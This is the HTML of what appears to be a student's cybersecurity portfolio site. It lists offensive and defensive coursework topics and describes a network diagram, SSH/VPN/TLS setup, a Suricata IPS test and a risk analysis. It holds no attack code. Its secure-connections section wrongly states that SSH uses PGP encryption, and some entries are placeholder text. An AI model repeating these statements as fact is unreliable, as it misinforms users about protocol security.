class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" 